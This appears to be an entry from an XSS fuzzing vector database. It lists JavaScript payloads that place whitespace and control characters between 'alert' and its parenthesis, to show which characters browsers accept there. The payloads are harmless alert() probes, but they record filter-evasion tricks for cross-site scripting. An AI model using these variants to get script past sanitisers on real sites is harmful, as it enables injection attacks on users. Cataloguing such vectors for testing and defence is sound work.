Valid characters between function and parenthesis

func[chr]()

Created by: felipecaon

Created on: Monday, May 6, 2024 at 2:22:58 PM

Updated on: Tuesday, May 27, 2025 at 8:17:54 AM

Detecting browser...

Category: XSS Execution

Vector visibility: Public

Vector type: JS

Vector charset: UTF-8

Template used:

alert$[chr]();log($[i])

Sample payloads

alert0x09();alert(9)

alert
();alert(10)

alert0x0B();alert(11)

alert0x0C();alert(12)

alert0x0D();alert(13)

alert ();alert(32)

alert ();alert(160)

alert ();alert(5760)

alert ();alert(8192)

alert ();alert(8193)

alert ();alert(8194)

alert ();alert(8195)

alert ();alert(8196)

alert ();alert(8197)

alert ();alert(8198)

alert ();alert(8199)

alert ();alert(8200)

alert ();alert(8201)

alert ();alert(8202)

alert ();alert(8232)